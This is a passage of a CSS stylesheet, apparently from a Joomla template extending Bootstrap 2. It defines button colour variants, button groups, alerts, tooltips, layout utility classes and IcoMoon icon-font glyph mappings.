progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450',
endColorstr='#fff89406', GradientType=0);
border-color: #f89406 #f89406 #ad6704;
*background-color: #f89406;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-warning:hover,
.btn-warning:focus,
.btn-warning:active,
.btn-warning.active,
.btn-warning.disabled,
.btn-warning[disabled] {
color: #fff;
background-color: #f89406;
*background-color: #df8505;
}
.btn-warning:active,
.btn-warning.active {
background-color: #c67605 \9;
}
.btn-danger {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #da4f49;
background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b),
to(#bd362f));
background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f);
background-image: -o-linear-gradient(top, #ee5f5b, #bd362f);
background-image: linear-gradient(to bottom, #ee5f5b, #bd362f);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b',
endColorstr='#ffbd362f', GradientType=0);
border-color: #bd362f #bd362f #802420;
*background-color: #bd362f;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-danger:hover,
.btn-danger:focus,
.btn-danger:active,
.btn-danger.active,
.btn-danger.disabled,
.btn-danger[disabled] {
color: #fff;
background-color: #bd362f;
*background-color: #a9302a;
}
.btn-danger:active,
.btn-danger.active {
background-color: #942a25 \9;
}
.btn-success {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #5bb75b;
background-image: -moz-linear-gradient(top, #62c462, #51a351);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462),
to(#51a351));
background-image: -webkit-linear-gradient(top, #62c462, #51a351);
background-image: -o-linear-gradient(top, #62c462, #51a351);
background-image: linear-gradient(to bottom, #62c462, #51a351);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462',
endColorstr='#ff51a351', GradientType=0);
border-color: #51a351 #51a351 #387038;
*background-color: #51a351;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-success:hover,
.btn-success:focus,
.btn-success:active,
.btn-success.active,
.btn-success.disabled,
.btn-success[disabled] {
color: #fff;
background-color: #51a351;
*background-color: #499249;
}
.btn-success:active,
.btn-success.active {
background-color: #408140 \9;
}
.btn-info {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #49afcd;
background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de),
to(#2f96b4));
background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4);
background-image: -o-linear-gradient(top, #5bc0de, #2f96b4);
background-image: linear-gradient(to bottom, #5bc0de, #2f96b4);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de',
endColorstr='#ff2f96b4', GradientType=0);
border-color: #2f96b4 #2f96b4 #1f6377;
*background-color: #2f96b4;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-info:hover,
.btn-info:focus,
.btn-info:active,
.btn-info.active,
.btn-info.disabled,
.btn-info[disabled] {
color: #fff;
background-color: #2f96b4;
*background-color: #2a85a0;
}
.btn-info:active,
.btn-info.active {
background-color: #24748c \9;
}
.btn-inverse {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #363636;
background-image: -moz-linear-gradient(top, #444, #222);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#444),
to(#222));
background-image: -webkit-linear-gradient(top, #444, #222);
background-image: -o-linear-gradient(top, #444, #222);
background-image: linear-gradient(to bottom, #444, #222);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444',
endColorstr='#ff222222', GradientType=0);
border-color: #222 #222 #000000;
*background-color: #222;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-inverse:hover,
.btn-inverse:focus,
.btn-inverse:active,
.btn-inverse.active,
.btn-inverse.disabled,
.btn-inverse[disabled] {
color: #fff;
background-color: #222;
*background-color: #151515;
}
.btn-inverse:active,
.btn-inverse.active {
background-color: #080808 \9;
}
button.btn,
input[type="submit"].btn {
*padding-top: 3px;
*padding-bottom: 3px;
}
button.btn::-moz-focus-inner,
input[type="submit"].btn::-moz-focus-inner {
padding: 0;
border: 0;
}
button.btn.btn-large,
input[type="submit"].btn.btn-large {
*padding-top: 7px;
*padding-bottom: 7px;
}
button.btn.btn-small,
input[type="submit"].btn.btn-small {
*padding-top: 3px;
*padding-bottom: 3px;
}
button.btn.btn-mini,
input[type="submit"].btn.btn-mini {
*padding-top: 1px;
*padding-bottom: 1px;
}
.btn-link,
.btn-link:active,
.btn-link[disabled] {
background-color: transparent;
background-image: none;
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
}
.btn-link {
border-color: transparent;
cursor: pointer;
color: #08c;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
}
.btn-link:hover,
.btn-link:focus {
color: #005580;
text-decoration: underline;
background-color: transparent;
}
.btn-link[disabled]:hover,
.btn-link[disabled]:focus {
color: #333;
text-decoration: none;
}
.btn-group {
position: relative;
display: inline-block;
*display: inline;
/* IE7 inline-block hack */
*zoom: 1;
font-size: 0;
vertical-align: middle;
white-space: nowrap;
*margin-left: 0.3em;
}
.btn-group:first-child {
*margin-left: 0;
}
.btn-group + .btn-group {
margin-left: 5px;
}
.btn-toolbar {
font-size: 0;
margin-top: 10px;
margin-bottom: 10px;
}
.btn-toolbar > .btn + .btn,
.btn-toolbar > .btn-group + .btn,
.btn-toolbar > .btn + .btn-group {
margin-left: 5px;
}
.btn-group > .btn {
position: relative;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
}
.btn-group > .btn + .btn {
margin-left: -1px;
}
.btn-group > .btn,
.btn-group > .dropdown-menu,
.btn-group > .popover {
font-size: 14px;
}
.btn-group > .btn-mini {
font-size: 10.5px;
}
.btn-group > .btn-small {
font-size: 11.9px;
}
.btn-group > .btn-large {
font-size: 17.5px;
}
.btn-group > .btn:first-child {
margin-left: 0;
-webkit-border-top-left-radius: 4px;
-moz-border-radius-topleft: 4px;
border-top-left-radius: 4px;
-webkit-border-bottom-left-radius: 4px;
-moz-border-radius-bottomleft: 4px;
border-bottom-left-radius: 4px;
}
.btn-group > .btn:last-child,
.btn-group > .dropdown-toggle {
-webkit-border-top-right-radius: 4px;
-moz-border-radius-topright: 4px;
border-top-right-radius: 4px;
-webkit-border-bottom-right-radius: 4px;
-moz-border-radius-bottomright: 4px;
border-bottom-right-radius: 4px;
}
.btn-group > .btn.large:first-child {
margin-left: 0;
-webkit-border-top-left-radius: 6px;
-moz-border-radius-topleft: 6px;
border-top-left-radius: 6px;
-webkit-border-bottom-left-radius: 6px;
-moz-border-radius-bottomleft: 6px;
border-bottom-left-radius: 6px;
}
.btn-group > .btn.large:last-child,
.btn-group > .large.dropdown-toggle {
-webkit-border-top-right-radius: 6px;
-moz-border-radius-topright: 6px;
border-top-right-radius: 6px;
-webkit-border-bottom-right-radius: 6px;
-moz-border-radius-bottomright: 6px;
border-bottom-right-radius: 6px;
}
.btn-group > .btn:hover,
.btn-group > .btn:focus,
.btn-group > .btn:active,
.btn-group > .btn.active {
z-index: 2;
}
.btn-group .dropdown-toggle:active,
.btn-group.open .dropdown-toggle {
outline: 0;
}
.btn-group > .btn + .dropdown-toggle {
padding-left: 8px;
padding-right: 8px;
-webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0
rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
-moz-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0
rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0
rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
*padding-top: 5px;
*padding-bottom: 5px;
}
.btn-group > .btn-mini + .dropdown-toggle {
padding-left: 5px;
padding-right: 5px;
*padding-top: 2px;
*padding-bottom: 2px;
}
.btn-group > .btn-small + .dropdown-toggle {
*padding-top: 5px;
*padding-bottom: 4px;
}
.btn-group > .btn-large + .dropdown-toggle {
padding-left: 12px;
padding-right: 12px;
*padding-top: 7px;
*padding-bottom: 7px;
}
.btn-group.open .dropdown-toggle {
background-image: none;
-webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px
rgba(0,0,0,.05);
-moz-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px
rgba(0,0,0,.05);
box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);
}
.btn-group.open .btn.dropdown-toggle {
background-color: #e6e6e6;
}
.btn-group.open .btn-primary.dropdown-toggle {
background-color: #0044cc;
}
.btn-group.open .btn-warning.dropdown-toggle {
background-color: #f89406;
}
.btn-group.open .btn-danger.dropdown-toggle {
background-color: #bd362f;
}
.btn-group.open .btn-success.dropdown-toggle {
background-color: #51a351;
}
.btn-group.open .btn-info.dropdown-toggle {
background-color: #2f96b4;
}
.btn-group.open .btn-inverse.dropdown-toggle {
background-color: #222;
}
.btn .caret {
margin-top: 8px;
margin-left: 0;
}
.btn-large .caret {
margin-top: 6px;
}
.btn-large .caret {
border-left-width: 5px;
border-right-width: 5px;
border-top-width: 5px;
}
.btn-mini .caret,
.btn-small .caret {
margin-top: 8px;
}
.dropup .btn-large .caret {
border-bottom-width: 5px;
}
.btn-primary .caret,
.btn-warning .caret,
.btn-danger .caret,
.btn-info .caret,
.btn-success .caret,
.btn-inverse .caret {
border-top-color: #fff;
border-bottom-color: #fff;
}
.btn-group-vertical {
display: inline-block;
*display: inline;
/* IE7 inline-block hack */
*zoom: 1;
}
.btn-group-vertical > .btn {
display: block;
float: none;
max-width: 100%;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
}
.btn-group-vertical > .btn + .btn {
margin-left: 0;
margin-top: -1px;
}
.btn-group-vertical > .btn:first-child {
-webkit-border-radius: 4px 4px 0 0;
-moz-border-radius: 4px 4px 0 0;
border-radius: 4px 4px 0 0;
}
.btn-group-vertical > .btn:last-child {
-webkit-border-radius: 0 0 4px 4px;
-moz-border-radius: 0 0 4px 4px;
border-radius: 0 0 4px 4px;
}
.btn-group-vertical > .btn-large:first-child {
-webkit-border-radius: 6px 6px 0 0;
-moz-border-radius: 6px 6px 0 0;
border-radius: 6px 6px 0 0;
}
.btn-group-vertical > .btn-large:last-child {
-webkit-border-radius: 0 0 6px 6px;
-moz-border-radius: 0 0 6px 6px;
border-radius: 0 0 6px 6px;
}
.alert {
padding: 8px 35px 8px 14px;
margin-bottom: 20px;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
background-color: #fcf8e3;
border: 1px solid #fbeed5;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
.alert,
.alert h4 {
color: #c09853;
}
.alert h4 {
margin: 0 0 0.5em;
}
.alert .close {
position: relative;
top: -2px;
right: -21px;
line-height: 20px;
cursor: pointer;
}
.alert-success {
background-color: #dff0d8;
border-color: #d6e9c6;
color: #468847;
}
.alert-success h4 {
color: #468847;
}
.alert-danger,
.alert-error {
background-color: #f2dede;
border-color: #eed3d7;
color: #b94a48;
}
.alert-danger h4,
.alert-error h4 {
color: #b94a48;
}
.alert-info {
background-color: #d9edf7;
border-color: #bce8f1;
color: #3a87ad;
}
.alert-info h4 {
color: #3a87ad;
}
.alert-block {
padding-top: 14px;
padding-bottom: 14px;
}
.alert-block > p,
.alert-block > ul {
margin-bottom: 0;
}
.alert-block p + p {
margin-top: 5px;
}
.tooltip {
position: absolute;
z-index: 1030;
display: block;
visibility: visible;
font-size: 11px;
line-height: 1.4;
opacity: 0;
filter: alpha(opacity=0);
}
.tooltip.in {
opacity: 0.8;
filter: alpha(opacity=80);
}
.tooltip.top {
margin-top: -3px;
padding: 5px 0;
}
.tooltip.right {
margin-left: 3px;
padding: 0 5px;
}
.tooltip.bottom {
margin-top: 3px;
padding: 5px 0;
}
.tooltip.left {
margin-left: -3px;
padding: 0 5px;
}
.tooltip-inner {
max-width: 200px;
padding: 8px;
color: #fff;
text-align: center;
text-decoration: none;
background-color: #000;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
.tooltip-arrow {
position: absolute;
width: 0;
height: 0;
border-color: transparent;
border-style: solid;
}
.tooltip.top .tooltip-arrow {
bottom: 0;
left: 50%;
margin-left: -5px;
border-width: 5px 5px 0;
border-top-color: #000;
}
.tooltip.right .tooltip-arrow {
top: 50%;
left: 0;
margin-top: -5px;
border-width: 5px 5px 5px 0;
border-right-color: #000;
}
.tooltip.left .tooltip-arrow {
top: 50%;
right: 0;
margin-top: -5px;
border-width: 5px 0 5px 5px;
border-left-color: #000;
}
.tooltip.bottom .tooltip-arrow {
top: 0;
left: 50%;
margin-left: -5px;
border-width: 0 5px 5px;
border-bottom-color: #000;
}
.accordion {
margin-bottom: 20px;
}
.accordion-group {
margin-bottom: 2px;
border: 1px solid #e5e5e5;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
.accordion-heading {
border-bottom: 0;
}
.accordion-heading .accordion-toggle {
display: block;
padding: 8px 15px;
}
.accordion-toggle {
cursor: pointer;
}
.accordion-inner {
padding: 9px 15px;
border-top: 1px solid #e5e5e5;
}
.pull-right {
float: right;
}
.pull-left {
float: left;
}
.hide {
display: none;
}
.show {
display: block;
}
.invisible {
visibility: hidden;
}
.affix {
position: fixed;
}
/* Extending Bootstrap */
/* Typography */
.small {
font-size: 11px;
}
/* Max Width */
iframe,
svg {
max-width: 100%;
}
/* Nowrap */
.nowrap {
white-space: nowrap;
}
/* Center */
.center,
.table td.center,
.table th.center {
text-align: center;
}
/* Disabled Link */
a.disabled,
a.disabled:hover {
color: #999999;
background-color: transparent;
cursor: default;
text-decoration: none;
}
/* Hero Banner */
.hero-unit {
text-align: center;
}
.hero-unit .lead {
margin-bottom: 18px;
font-size: 20px;
font-weight: 200;
line-height: 27px;
}
.btn .caret {
margin-bottom: 7px;
}
.btn.btn-micro .caret {
margin: 5px 0;
}
.blog-row-rule,
.blog-item-rule {
border: 0;
}
/* Modal */
body.modal {
padding-top: 0;
}
/* Alternating Rows */
.row-even,
.row-odd {
padding: 5px;
width: 99%;
border-bottom: 1px solid #ddd;
}
.row-odd {
background-color: transparent;
}
.row-even {
background-color: #f9f9f9;
}
.blog-row-rule,
.blog-item-rule {
border: 0;
}
/* Row reveal */
.row-fluid .row-reveal {
visibility: hidden;
}
.row-fluid:hover .row-reveal {
visibility: visible;
}
/* Buttons */
.btn-wide {
width: 80%;
}
/* Nav List Offset */
.nav-list > li.offset > a {
padding-left: 30px;
font-size: 12px;
}
.blog-row-rule,
.blog-item-rule {
border: 0;
}
.row-fluid .offset1 {
margin-left: 8.38297872%;
}
.row-fluid .offset2 {
margin-left: 16.89361702%;
}
.row-fluid .offset3 {
margin-left: 25.40425532%;
}
.row-fluid .offset4 {
margin-left: 33.91489361%;
}
.row-fluid .offset5 {
margin-left: 42.42553191%;
}
.row-fluid .offset6 {
margin-left: 50.93617021%;
}
.row-fluid .offset7 {
margin-left: 59.4468085%;
}
.row-fluid .offset8 {
margin-left: 67.9574468%;
}
.row-fluid .offset9 {
margin-left: 76.4680851%;
}
.row-fluid .offset10 {
margin-left: 84.9787234%;
}
.row-fluid .offset11 {
margin-left: 91.48936169%;
}
/* Navbar Buttons */
.navbar .nav > li > a.btn {
padding: 4px 10px;
line-height: 18px;
}
/* Nav Tabs Dark */
.nav-tabs.nav-dark {
border-bottom: 1px solid #333;
text-shadow: 1px 1px 1px #000;
}
.nav-tabs.nav-dark > li > a {
color: #F8F8F8;
}
.nav-tabs.nav-dark > li > a:hover {
border-color: #333 #333 #111;
background-color: #777777;
}
.nav-tabs.nav-dark > .active > a,
.nav-tabs.nav-dark > .active > a:hover {
color: #ffffff;
background-color: #555555;
border: 1px solid #222;
border-bottom-color: transparent;
}
/* Inline Thumbnails */
.thumbnail.pull-left {
margin: 0 10px 10px 0;
}
.thumbnail.pull-right {
margin: 0 0 10px 10px;
}
/* Specific Widths */
.width-10 {
width: 10px;
}
.width-20 {
width: 20px;
}
.width-30 {
width: 30px;
}
.width-40 {
width: 40px;
}
.width-50 {
width: 50px;
}
.width-60 {
width: 60px;
}
.width-70 {
width: 70px;
}
.width-80 {
width: 80px;
}
.width-90 {
width: 90px;
}
.width-100 {
width: 100px;
}
/* Specific Heights */
.height-10 {
height: 10px;
}
.height-20 {
height: 20px;
}
.height-30 {
height: 30px;
}
.height-40 {
height: 40px;
}
.height-50 {
height: 50px;
}
.height-60 {
height: 60px;
}
.height-70 {
height: 70px;
}
.height-80 {
height: 80px;
}
.height-90 {
height: 90px;
}
.height-100 {
height: 100px;
}
/* Horizontal Row (hr) */
hr.hr-condensed {
margin: 10px 0;
}
/* Striped */
.list-striped,
.row-striped {
list-style: none;
line-height: 18px;
text-align: left;
vertical-align: middle;
border-top: 1px solid #ddd;
margin-left: 0;
}
.list-striped li,
.list-striped dd,
.row-striped .row,
.row-striped .row-fluid {
border-bottom: 1px solid #ddd;
padding: 8px;
}
.list-striped li:nth-child(odd),
.list-striped dd:nth-child(odd),
.row-striped .row:nth-child(odd),
.row-striped .row-fluid:nth-child(odd) {
background-color: #f9f9f9;
}
.list-striped li:hover,
.list-striped dd:hover,
.row-striped .row:hover,
.row-striped .row-fluid:hover {
background-color: #f5f5f5;
}
.row-striped .row-fluid {
width: 100%;
box-sizing: border-box;
}
.row-striped .row-fluid [class*="span"] {
min-height: 10px;
}
.row-striped .row-fluid [class*="span"] {
margin-left: 8px;
}
.row-striped .row-fluid [class*="span"]:first-child {
margin-left: 0;
}
/* Condensed */
.list-condensed li {
padding: 4px 5px;
}
.row-condensed .row,
.row-condensed .row-fluid {
padding: 4px 5px;
}
/* Bordered */
.list-bordered,
.row-bordered {
list-style: none;
line-height: 18px;
text-align: left;
vertical-align: middle;
margin-left: 0;
border: 1px solid #ddd;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
/* Radio Button Groups */
.radio.btn-group input[type=radio] {
display: none;
}
.radio.btn-group > label {
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.radio.btn-group > label:first-of-type {
margin-left: 0;
-webkit-border-bottom-left-radius: 4px;
border-bottom-left-radius: 4px;
-webkit-border-top-left-radius: 4px;
border-top-left-radius: 4px;
-moz-border-radius-bottomleft: 4px;
-moz-border-radius-topleft: 4px;
}
fieldset.radio.btn-group {
padding-left: 0;
}
/* iFrames */
.iframe-bordered {
border: 1px solid #ddd;
}
/* Tabbed Content */
.tab-content {
overflow: visible;
}
.tabs-left .tab-content {
overflow: auto;
}
/* Non-linkable nav-tabs */
.nav-tabs > li > span {
display: block;
margin-right: 2px;
padding-right: 12px;
padding-left: 12px;
padding-top: 8px;
padding-bottom: 8px;
line-height: 18px;
border: 1px solid transparent;
-webkit-border-radius: 4px 4px 0 0;
-moz-border-radius: 4px 4px 0 0;
border-radius: 4px 4px 0 0;
}
/* Extended Joomla Button Classes */
.btn-micro {
padding: 1px 4px;
font-size: 10px;
line-height: 8px;
}
.btn-group > .btn-micro {
font-size: 10px;
}
/* Joomla => Bootstrap Tooltip */
.tip-wrap {
max-width: 200px;
padding: 3px 8px;
color: #fff;
text-align: center;
text-decoration: none;
background-color: #000;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
z-index: 100;
}
/* Page Header */
.page-header {
margin: 2px 0px 10px 0px;
padding-bottom: 5px;
}
/* Input Prepend Chosen Select Boxes */
/* Common styling for Chosen Select Boxes with Input Prepend/Append */
.input-prepend > .add-on,
.input-append > .add-on {
vertical-align: top;
}
/* Styles specific to Input Prepend Chosen Select Boxes */
.input-prepend .chzn-container-single .chzn-single {
-webkit-border-radius: 0 3px 3px 0;
-moz-border-radius: 0 3px 3px 0;
border-radius: 0 3px 3px 0;
}
.input-prepend .chzn-container-single .chzn-single-with-drop {
-webkit-border-radius: 0 3px 0 0;
-moz-border-radius: 0 3px 0 0;
border-radius: 0 3px 0 0;
}
/* Styles specific to Input Append Chosen Select Boxes */
.input-append .chzn-container-single .chzn-single {
-webkit-border-radius: 3px 0 0 3px;
-moz-border-radius: 3px 0 0 3px;
border-radius: 3px 0 0 3px;
}
.input-append .chzn-container-single .chzn-single-with-drop {
-webkit-border-radius: 3px 0 0 0;
-moz-border-radius: 3px 0 0 0;
border-radius: 3px 0 0 0;
}
/* Styles specific to combined Input Prepend and Append Chosen Select Boxes
*/
.input-prepend.input-append .chzn-container-single .chzn-single,
.input-prepend.input-append .chzn-container-single .chzn-single-with-drop {
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
}
/* Accessible Hidden Elements (good for hidden labels and such) */
.element-invisible {
position: absolute;
padding: 0;
margin: 0;
border: 0;
height: 1px;
width: 1px;
overflow: hidden;
}
/* Make Accessible Hidden Elements visible on focus */
.element-invisible:focus {
width: auto;
height: auto;
overflow: auto;
background: #eee;
color: #000;
padding: 1em;
}
/* Form Vertical Overrides Form Horizontal */
.form-vertical .control-label {
float: none;
width: auto;
padding-right: 0;
padding-top: 0;
text-align: left;
}
.form-vertical .controls {
margin-left: 0;
}
/* Auto Width */
.width-auto {
width: auto;
}
/* Chosen proper wrapping in Bootstrap btn-group */
.btn-group .chzn-results {
white-space: normal;
}
/* Accordion overflow fix */
.accordion-body.in:hover {
overflow: visible;
}
/* Invalid indicators */
.invalid {
color: #9d261d;
font-weight: bold;
}
input.invalid {
border: 1px solid #9d261d;
background: #f2dede;
}
select.chzn-done.invalid + .chzn-container.chzn-container-single >
a.chzn-single,
select.chzn-done.invalid + .chzn-container.chzn-container-multi >
ul.chzn-choices {
border-color: #9d261d;
color: #9d261d;
}
/* Tweaking of tooltips */
.tooltip {
max-width: 400px;
}
.tooltip-inner {
max-width: none;
text-align: left;
text-shadow: none;
}
th .tooltip-inner {
font-weight: normal;
}
.tooltip.hasimage {
opacity: 1;
}
/* Align tip text to left (old mootools tip) */
.tip-text {
text-align: left;
}
.btn-group > .btn + .dropdown-backdrop + .btn {
margin-left: -1px;
}
.btn-group > .btn + .dropdown-backdrop + .dropdown-toggle {
padding-left: 8px;
padding-right: 8px;
-webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0
rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
-moz-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0
rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0
rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
*padding-top: 5px;
*padding-bottom: 5px;
}
.btn-group > .btn-mini + .dropdown-backdrop + .dropdown-toggle {
padding-left: 5px;
padding-right: 5px;
*padding-top: 2px;
*padding-bottom: 2px;
}
.btn-group > .btn-small + .dropdown-backdrop + .dropdown-toggle {
*padding-top: 5px;
*padding-bottom: 4px;
}
.btn-group > .btn-large + .dropdown-backdrop + .dropdown-toggle {
padding-left: 12px;
padding-right: 12px;
*padding-top: 7px;
*padding-bottom: 7px;
}
.dropdown-menu {
text-align: left;
}
.alert-link {
font-weight: bold;
}
.alert .alert-link {
color: #a47e3c;
}
.alert-success .alert-link {
color: #356635;
}
.alert-danger .alert-link,
.alert-error .alert-link {
color: #953b39;
}
.alert-info .alert-link {
color: #2d6987;
}
@font-face {
font-family: 'IcoMoon';
src: url('../../../../media/jui/fonts/IcoMoon.eot');
src: url('../../../../media/jui/fonts/IcoMoon.eot?#iefix')
format('embedded-opentype'),
url('../../../../media/jui/fonts/IcoMoon.woff')
format('woff'),
url('../../../../media/jui/fonts/IcoMoon.ttf')
format('truetype'),
url('../../../../media/jui/fonts/IcoMoon.svg#IcoMoon')
format('svg');
font-weight: normal;
font-style: normal;
}
/*
* Due to a bug in the compiler that doesn't handle the relative paths
correctly, the @font-face stuff needs to go in the templates less files
@font-face {
font-family: 'IcoMoon';
src: url('../fonts/IcoMoon.eot');
src: url('../fonts/IcoMoon.eot?#iefix')
format('embedded-opentype'),
url('../fonts/IcoMoon.woff') format('woff'),
url('../fonts/IcoMoon.ttf') format('truetype'),
url('../fonts/IcoMoon.svg#IcoMoon') format('svg');
font-weight: normal;
font-style: normal;
}
*/
/* Use the following CSS code if you want to use data attributes for
inserting your icons */
[data-icon]:before {
font-family: 'IcoMoon';
content: attr(data-icon);
speak: none;
}
/* From Bootstrap */
[class^="icon-"],
[class*=" icon-"] {
display: inline-block;
width: 14px;
height: 14px;
margin-right: 0.25em;
line-height: 14px;
}
/* Use the following CSS code if you want to have a class per icon */
[class^="icon-"]:before,
[class*=" icon-"]:before {
font-family: 'IcoMoon';
font-style: normal;
speak: none;
}
[class^="icon-"].disabled,
[class*=" icon-"].disabled {
font-weight: normal;
}
.icon-joomla:before {
content: "\e200";
}
.icon-chevron-up:before,
.icon-uparrow:before,
.icon-arrow-up:before {
content: "\e005";
}
.icon-chevron-right:before,
.icon-rightarrow:before,
.icon-arrow-right:before {
content: "\e006";
}
.icon-chevron-down:before,
.icon-downarrow:before,
.icon-arrow-down:before {
content: "\e007";
}
.icon-chevron-left:before,
.icon-leftarrow:before,
.icon-arrow-left:before {
content: "\e008";
}
.icon-arrow-first:before {
content: "\e003";
}
.icon-arrow-last:before {
content: "\e004";
}
.icon-arrow-up-2:before {
content: "\e009";
}
.icon-arrow-right-2:before {
content: "\e00a";
}
.icon-arrow-down-2:before {
content: "\e00b";
}
.icon-arrow-left-2:before {
content: "\e00c";
}
.icon-arrow-up-3:before {
content: "\e00f";
}
.icon-arrow-right-3:before {
content: "\e010";
}
.icon-arrow-down-3:before {
content: "\e011";
}
.icon-arrow-left-3:before {
content: "\e012";
}
.icon-menu-2:before {
content: "\e00e";
}
.icon-arrow-up-4:before {
content: "\e201";
}
.icon-arrow-right-4:before {
content: "\e202";
}
.icon-arrow-down-4:before {
content: "\e203";
}
.icon-arrow-left-4:before {
content: "\e204";
}
.icon-share:before,
.icon-redo:before {
content: "\27";
}
.icon-undo:before {
content: "\28";
}
.icon-forward-2:before {
content: "\e205";
}
.icon-backward-2:before,
.icon-reply:before {
content: "\e206";
}
.icon-unblock:before,
.icon-refresh:before,
.icon-redo-2:before {
content: "\6c";
}
.icon-undo-2:before {
content: "\e207";
}
.icon-move:before {
content: "\7a";
}
.icon-expand:before {
content: "\66";
}
.icon-contract:before {
content: "\67";
}
.icon-expand-2:before {
content: "\68";
}
.icon-contract-2:before {
content: "\69";
}
.icon-play:before {
content: "\e208";
}
.icon-pause:before {
content: "\e209";
}
.icon-stop:before {
content: "\e210";
}
.icon-previous:before,
.icon-backward:before {
content: "\7c";
}
.icon-next:before,
.icon-forward:before {
content: "\7b";
}
.icon-first:before {
content: "\7d";
}
.icon-last:before {
content: "\e000";
}
.icon-play-circle:before {
content: "\e00d";
}
.icon-pause-circle:before {
content: "\e211";
}
.icon-stop-circle:before {
content: "\e212";
}
.icon-backward-circle:before {
content: "\e213";
}
.icon-forward-circle:before {
content: "\e214";
}
.icon-loop:before {
content: "\e001";
}
.icon-shuffle:before {
content: "\e002";
}
.icon-search:before {
content: "\53";
}
.icon-zoom-in:before {
content: "\64";
}
.icon-zoom-out:before {
content: "\65";
}
.icon-apply:before,
.icon-edit:before,
.icon-pencil:before {
content: "\2b";
}
.icon-pencil-2:before {
content: "\2c";
}
.icon-brush:before {
content: "\3b";
}
.icon-save-new:before,
.icon-plus-2:before {
content: "\5d";
}
.icon-minus-sign:before,
.icon-minus-2:before {
content: "\5e";
}
.icon-delete:before,
.icon-remove:before,
.icon-cancel-2:before {
content: "\49";
}
.icon-publish:before,
.icon-save:before,
.icon-ok:before,
.icon-checkmark:before {
content: "\47";
}
.icon-new:before,
.icon-plus:before {
content: "\2a";
}
.icon-plus-circle:before {
content: "\e215";
}
.icon-minus:before,
.icon-not-ok:before {
content: "\4b";
}
.icon-ban-circle:before,
.icon-minus-circle:before {
content: "\e216";
}
.icon-unpublish:before,
.icon-cancel:before {
content: "\4a";
}
.icon-cancel-circle:before {
content: "\e217";
}
.icon-checkmark-2:before {
content: "\e218";
}
.icon-checkmark-circle:before {
content: "\e219";
}
.icon-info:before {
content: "\e220";
}
.icon-info-2:before,
.icon-info-circle:before {
content: "\e221";
}
.icon-question:before,
.icon-question-sign:before,
.icon-help:before {
content: "\45";
}
.icon-question-2:before,
.icon-question-circle:before {
content: "\e222";
}
.icon-notification:before {
content: "\e223";
}
.icon-notification-2:before,
.icon-notification-circle:before {
content: "\e224";
}
.icon-pending:before,
.icon-warning:before {
content: "\48";
}
.icon-warning-2:before,
.icon-warning-circle:before {
content: "\e225";
}
.icon-checkbox-unchecked:before {
content: "\3d";
}
.icon-checkin:before,
.icon-checkbox:before,
.icon-checkbox-checked:before {
content: "\3e";
}
.icon-checkbox-partial:before {
content: "\3f";
}
.icon-square:before {
content: "\e226";
}
.icon-radio-unchecked:before {
content: "\e227";
}
